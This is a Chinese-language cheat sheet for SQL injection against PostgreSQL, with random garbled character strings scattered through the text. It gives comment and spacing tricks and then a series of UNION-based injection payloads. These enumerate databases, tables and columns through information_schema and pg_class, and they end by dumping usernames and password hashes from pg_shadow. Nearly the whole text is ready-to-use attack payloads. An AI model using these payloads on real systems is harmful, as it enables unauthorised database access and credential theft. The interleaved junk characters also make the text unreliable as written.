结合了MSSQL MySQL Oracle的一些特点
1 Q# {4 Z2 }! c& F支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/8 M/ P4 |/ ? _3 j# [8 t
连接符: %20 , + , /**/ 内置函数:
, V# U, R& W3 `current_database() //当前数据库名6 j0 B0 g9 g9 b5 N& g
session_user //会话用户4 c1 o. J" m5 ` v' I4 f! ]: U: ]
current_user //当前数据库用户
% V+ w/ q+ b, O7 X+ d+ d% O# D) `8 Duser //当前用户" ]- `; g0 j" B( d9 t
version() //数据库版本 Union注射:
( D6 x9 C4 D6 D9 [8 c3 Corder by n–. J. c! x T+ r, b
and 1=2 union select null,null,null–2 O8 J5 p6 U2 S- L4 Y B( R( G
and 1=2 union select ‘beach’,null,null–
: c! t+ r2 d% m& B* X& dand 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):/ m* j3 ^4 b8 e5 I, q+ {2 ~
group_concat(table_name)0 s3 n3 c, \: {6 f
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
: U% X1 x: o: o1 |0 Iand 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
4 w' {# C- O+ K" w' t) z(老版本)2 ~+ e4 j; G1 w& `0 R, e8 S# {
pg_class.oid对应pg_attribute.attrelid3 }( i3 r7 t9 |! h. f j4 Z% y
pg_class.relname表名7 W' \ U( Q. _: O! R* v
pg_attribute.attname字段名 select relname from pg_class获取表名
' |5 O" Y0 x1 z+ L% \- dselect oid from pg_class where 条件 获取参数" |# V& c, _3 p# P8 S# ?
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:& N0 U: s( A3 I* @/ a
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表0 M$ h" C5 Z$ E0 i
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–2 c; @ O ~4 K
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名* Y, z+ ]' T. W7 U+ \# m
======================================================================) u' f* X) p# y, y, o% j X8 {
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
$ L" U& t& A5 U9 gand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |